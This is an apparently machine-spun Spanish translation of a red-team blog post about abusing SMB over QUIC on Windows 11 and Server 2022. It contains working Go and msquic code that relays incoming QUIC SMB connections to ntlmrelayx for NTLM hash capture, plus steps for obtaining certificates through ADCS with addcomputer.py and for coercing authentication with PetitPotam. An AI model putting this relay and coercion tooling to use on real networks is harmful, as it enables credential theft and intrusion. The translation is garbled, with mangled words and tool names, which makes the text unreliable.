Esta semana, desempolvé mi letanía de recitación y vi que anteriormente había afectado un artículo interesante sobre la comienzo de SMB sobre QUIC. El artículo de Microsoft mostró que Windows incluía compatibilidad con SMB para usar sobre el protocolo QUIC, lo que debería despertar inmediatamente el interés de cualquiera que incluya ataques SMB como parte de su cautiverio de destrucción.
Con la compatibilidad con esta tecnología integrada en Windows 11 y Server 2022, pensé que probablemente era un buen momento para despabilarse y objetar algunas de las preguntas que tenía sobre la utilidad de esta tecnología durante un compromiso. Entonces, en esta publicación, profundizaremos en cómo funciona esta tecnología, responderemos algunas de las preguntas inmediatas sobre qué ataques son factibles y mostraremos cómo podemos reutilizar algunas herramientas existentes.
¿Como funciona?
Hay muchos artículos que explican el protocolo QUIC, por lo que para esta publicación, nos centraremos en las partes que debemos comprender cuando nos enfocamos en SMB. En primer división, SMB sobre QUIC utiliza el puerto UDP 443. Se establece una conexión TLS y se utiliza la extensión TLS ALPN para preferir el protocolo “smb”:

Para brincar con esto más allá de solo interpretar la precisión, creemos un servidor QUIC muy simple que pueda manejar conexiones entrantes. Para hacer esto, usaremos golang, que ofrece algunas opciones para paquetes QUIC. El que usaremos para esto será quien vá:
package main
import (
"context"
"crypto/tls"
"fmt"
"github.com/lucas-clemente/quic-go"
)
func main() {
// Set up our TLS
tlsConfig, err := configureTLS()
if err != nil {
fmt.Println("(!) Error grabbing TLS certs")
return
}
// We're listening on UDP/443 for this
listener, err := quic.ListenAddr("0.0.0.0:443", tlsConfig, nil)
if err != nil {
fmt.Println("(!) Error binding to UDP/443")
return
}
fmt.Println("(*) Started listening on UDP/443")
// Accept inbound connection
session, err := listener.Accept(context.Background())
if err != nil {
fmt.Println("Error accepting connection from client")
return
}
fmt.Printf("(*) Accepted connection: %sn", session.RemoteAddr().String())
// Setup stream
_, err = session.AcceptStream(context.Background())
if err != nil {
fmt.Println("Error accepting stream from QUIC client")
}
fmt.Printf("(*) Stream setup successfully with: %sn", session.RemoteAddr().String())
}
func configureTLS() (*tls.Config, error) {
cer, err := tls.LoadX509KeyPair("server.crt", "server.key")
if err != nil {
return nil, fmt.Errorf("Could not load server.crt and server.key")
}
// ALPN as SMB
return &tls.Config{
Certificates: ()tls.Certificate{cer},
NextProtos: ()string{"smb"},
}, nil
}
A continuación, necesitaremos algunos certificados TLS para trabajar. Generemos un certificado autofirmado para este POC usando OpenSSL:
openssl req -x509 -nodes -newkey rsa:4096 -keyout server.key -out server.crt -days 365
Y con eso, podemos iniciar nuestra prueba con:
go run ./main.go
Con nuestro servidor QUIC simple ahora escuchando, iniciaremos una conexión desde una máquina con Windows 11. Para ello, podemos utilizar lo próximo net.exe
opciones para ignorar el certificado TLS que no es de confianza:
NET USE /TRANSPORT:QUIC /skipcertcheck OURHOSTc$
Y si todo va proporcionadamente, tendremos nuestra conexión registrada y mostrando que la conexión se ha realizado y que todo funciona en QUIC como se esperaba:

¿PYME a través de Internet?
Sí. En ingenuidad, esto es poco que se menciona varias veces en documentación.
SMB over QUIC ofrece una “VPN SMB” para teletrabajadores, usuarios de dispositivos móviles y organizaciones de ingreso seguridad. El certificado del servidor crea un túnel criptográfico con TLS 1.3 a través del puerto UDP 443 apto para Internet en división del puerto TCP heredado 445.
La redacción es un poco extraña, y todavía no estoy muy seguro de por qué se usa el término “VPN SMB”, pero como veremos en un momento, la implementación es efectivamente muy sencilla.
Para ver esto en batalla a través de Internet, tomemos nuestro POC previo y activemos un host EC2 con un certificado válido. Podemos crear nuestro certificado requerido con letsencrypt:
certbot certonly --standalone
Una vez que tenemos nuestro certificado, podemos activar el POC y ver que todo funciona proporcionadamente cuando intentamos conectarnos desde nuestra caja de Windows 11: https://youtu.be/4t5ffdjtHMQ
Como atacante, me parece especialmente interesante que utilice un protocolo compartido con el standard HTTP/3. Esto significa que los días en los que se asegura que TCP/445 está bloqueado para la salida pueden estar llegando a su fin (aunque los productos de seguridad que inspeccionan el protocolo ALPN revelarán el protocolo SMB que se está utilizando).
Tenga en cuenta que esto no cambia los requisitos relacionados con el remesa instintivo de protocolos de enlace NTLM. ¡Aquí se aplican las reglas habituales de la zona de Intranet!
¿Necesitamos nuevas herramientas?
No precisamente. Si proporcionadamente el protocolo de transporte ha cambiado de TCP a UDP y ahora está encapsulado adentro de QUIC, el protocolo SMB subyacente sigue siendo el mismo. Lo que esto significa es que, en división de intentar reinventar la rueda, podemos crear una cubierta simple y continuar usando las herramientas existentes en muchas situaciones.
Usemos ntlmrelayx como nuestro caso de prueba aquí e intentemos remitir una conexión QUIC entrante a localhost en TCP/445. Para hacer esto, expandiremos nuestra utensilio POC previo y simplemente retransmitiremos las conexiones entrantes a TCP/445:
package main
import (
"context"
"crypto/tls"
"fmt"
"net"
"github.com/lucas-clemente/quic-go"
)
const BUFFER_SIZE = 11000
func startQuicServer(tlsConfig *tls.Config) error {
quicListener, err := quic.ListenAddr("0.0.0.0:443", tlsConfig, nil)
if err != nil {
return fmt.Errorf("Error binding to UDP/443")
}
fmt.Println("(*) Started listening on UDP/443")
for {
session, err := quicListener.Accept(context.Background())
if err != nil {
fmt.Println("(!) Error accepting connection from client")
continue
}
fmt.Printf("(*) Accepted connection from %sn", session.RemoteAddr().String())
stream, err := session.AcceptStream(context.Background())
if err != nil {
fmt.Println("(!) Error accepting stream from QUIC client")
}
go func() {
tcpConnection, err := net.Dial("tcp", "localhost:445")
if err != nil {
fmt.Println("(!) Error connecting to localhost:445")
return
}
fmt.Println("(*) Connected to localhost:445n(*) Starting relaying process...")
dataBuffer := make(()byte, BUFFER_SIZE)
for {
dataCount, err := stream.Read(dataBuffer)
if err != nil {
return
}
dataCount, err = tcpConnection.Write(dataBuffer(0:dataCount))
if err != nil || dataCount == 0 {
return
}
dataCount, err = tcpConnection.Read(dataBuffer)
if err != nil {
return
}
dataCount, err = stream.Write(dataBuffer(0:dataCount))
if err != nil || dataCount == 0 {
return
}
}
}()
}
return nil
}
func main() {
fmt.Println("SMB over QUIC Termination POC by @_xpn_")
tlsConfig, err := configureTLS()
if err != nil {
fmt.Println("(!) Error grabbing TLS certs")
return
}
err = startQuicServer(tlsConfig)
if err != nil {
fmt.Println("(!) " + err.Error())
}
}
func configureTLS() (*tls.Config, error) {
cer, err := tls.LoadX509KeyPair("server.crt", "server.key")
if err != nil {
return nil, fmt.Errorf("Could not load server.crt and server.key")
}
// ALPN as SMB
return &tls.Config{
Certificates: ()tls.Certificate{cer},
NextProtos: ()string{"smb"},
}, nil
}
Encima, para que esto funcione en el campo, vamos a carecer un certificado; de lo contrario, los intentos de conexión se caerán. Si estamos operando desde un cuadro * nix y el entorno tiene un rol ADCS implementado, podemos optar por poco como el de Impacket addcomputer.py
para crear una nueva cuenta de máquina para la que luego podemos solicitar un certificado:

Ahora tenemos nuestra cuenta de máquina creada (deberá cerciorarse de que sea a través de LDAPS para tener la dNSHostName
conjunto de atributos), podemos solicitar nuestro certificado de la CA:

Finalmente, agregamos nuestros registros DNS para permitir que el objetivo use nuestro certificado correcto:

En este punto, normalmente miraríamos a Reponer para capturar hashes, pero como ahora estamos usando el FQDN para permitir que nuestro certificado funcione, lo que primero activará una solicitud de autenticación de Kerberos, parece que Reponer no maneja esto muy proporcionadamente. . Entonces, en su división, usaremos ntlmrelayx para obtener hashes para nosotros. Nos dirigimos de nuevo a net.exe
en nuestro sistema Windows 11 y ver que todo funciona proporcionadamente:

Y ahora, si miramos en nuestro archivo de credenciales, vemos que la captura de credenciales funciona como de costumbre:

¿Cómo podemos activar SMB sobre QUIC?
Por lo tanto, en Windows 11, SMB sobre QUIC está capacitado de forma predeterminada y se intentará cuando falle una conexión TCP al puerto 445 característico. Por ejemplo, si nos dirigimos a Explorer e intentamos navegar a somethingtestshare
Se intentará SMB sobre QUIC si no se puede realizar la conexión TCP original:

Esto significa que el protocolo es útil para los atacantes cuando nos encontramos con esas subredes que bloquean explícitamente TCP/445 pero permiten que otros puertos y protocolos atraviesen.
Pero, ¿y si queremos usar poco como PetitPotam? ¿Es posible activar SMB sobre QUIC usando poco como esto? Para objetar a esto, profundizaremos muy brevemente en lo que hace que PetitPotam funcione.
Como probablemente ya sepa, Microsoft solo parchó los primeros métodos RPC documentados de la vulnerabilidad PetitPotam, por lo que vamos a despabilarse Windows Server 2022, tendremos que centrarnos en los métodos sin parchear. Usaremos el AddUsersToFile
Método RPC como nuestro candidato aquí. Los métodos RPC de PetitPotam se manejan adentro efslsaext.dll
así que arrojemos esto a Ghidra y veamos qué causa la coerción de autenticación.
si miramos EfsRpcAddUsersToFileEx_Downlevel
Vemos remisión a un método de EfsEnsureLocalPath,
que toma la ruta provista desde la llamamiento RPC:

A través de este método, obtenemos nuestra respuesta sobre la causa del intento de autenticación, un buen CreateFileW
llamamiento donde controlamos el parámetro de nombre de archivo:

Esto coincide con el ambiente que usamos anteriormente en Explorer, por lo que todo debería funcionar proporcionadamente, pero para estar seguros, intentemos activar PotitPotam. AddUsersToFile
y veamos si recuperamos nuestra conexión a través de QUIC:

¿Cómo podemos usar esto en un host comprometido de Windows?
Para este mismo ambiente, Microsoft ha creado una biblioteca llamamiento “msquic” que podemos usar (de hecho, esta biblioteca incluso se usa para el cliente QUIC subyacente que se incluye con Windows 11). Hay algunas advertencias, al igual que con los escenarios anteriores, en el sentido de que necesitamos un certificado para iniciar nuestro servidor. Gracias a Dios, en entornos de dominio de Windows con servicios de certificados habilitados, normalmente tenemos la capacidad de solicitar un certificado para el servidor activo o encontrar que el servidor ya tiene un certificado implementado.
Lo bueno de usar QUIC en Windows es que es probable que UDP/443 aún no se haya enlazado, a diferencia de TCP/445, lo que significa que mientras tengamos un certificado, deberíamos estar en una buena posición para comenzar a escuchar mensajes entrantes. SMB sobre conexiones QUIC.
Vale la pena señalar que msquic viene con soporte para schannel en Windows 11 y Server 2022, y OpenSSL para otras versiones de Windows. La principal diferencia para nosotros será el uso del almacén de certificados. Por ejemplo, si nos encontramos en una situación en la que el almacén de certificados tiene un certificado para el host, podemos simplemente hacer remisión a este certificado sin tener que tener lugar por la molestia de exportar:
BOOLEAN QuicServer::ServerLoadConfiguration(const char *hash, const char *path, const char *pathPrivate) {
QUIC_SETTINGS Settings = { 0 };
QUIC_CREDENTIAL_CONFIG_HELPER Config;
QUIC_STATUS Status = QUIC_STATUS_SUCCESS;
Settings.IdleTimeoutMs = IdleTimeoutMs;
Settings.IsSet.IdleTimeoutMs = TRUE;
Settings.ServerResumptionLevel = QUIC_SERVER_RESUME_AND_ZERORTT;
Settings.IsSet.ServerResumptionLevel = TRUE;
Settings.PeerBidiStreamCount = 1;
Settings.IsSet.PeerBidiStreamCount = TRUE;
memset(&Config, 0, sizeof(Config));
if (hash != NULL) {
// We try and use a certificate from the certificate store
Config.CredConfig.Flags = QUIC_CREDENTIAL_FLAG_NONE;
Config.CredConfig.Type = QUIC_CREDENTIAL_TYPE_CERTIFICATE_HASH_STORE;
uint32_t CertHashLen = DecodeHexBuffer(hash, sizeof(Config.CertHashStore.ShaHash), Config.CertHashStore.ShaHash);
if (CertHashLen != sizeof(Config.CertHashStore.ShaHash)) {
return FALSE;
}
strncpy_s(Config.CertHashStore.StoreName, DEFAULT_CERT_STORE, 2);
Config.CertHashStore.Flags = QUIC_CERTIFICATE_HASH_STORE_FLAG_MACHINE_STORE;
Config.CredConfig.CertificateHashStore = &Config.CertHashStore;
}
else {
// We use the provided key/cert from the parameters
Config.CredConfig.Flags = QUIC_CREDENTIAL_FLAG_NONE;
Config.CredConfig.Type = QUIC_CREDENTIAL_TYPE_CERTIFICATE_FILE;
Config.CertFile.CertificateFile = this->_path;
Config.CertFile.PrivateKeyFile = this->_privatePath;
Config.CredConfig.CertificateFile = &Config.CertFile;
}
if (QUIC_FAILED(Status = MsQuic->ConfigurationOpen(this->_registration, &Alpn, 1, &Settings, sizeof(Settings), NULL, &this->_configuration))) {
printf("(!) ConfigurationOpen error (0x%x)n", Status);
return FALSE;
}
if (QUIC_FAILED(Status = MsQuic->ConfigurationLoadCredential(this->_configuration, &Config.CredConfig))) {
printf("(!) ConfigurationLoadCredential error (0x%x)n", Status);
return FALSE;
}
return TRUE;
}
Al igual que con nuestro ejemplo previo, este POC solo reenvía cualquier solicitud SMB sobre QUIC a las herramientas existentes: https://youtu.be/rgGgFloZbJ0
El código para todos los ejemplos en esta publicación se puede encontrar aquí.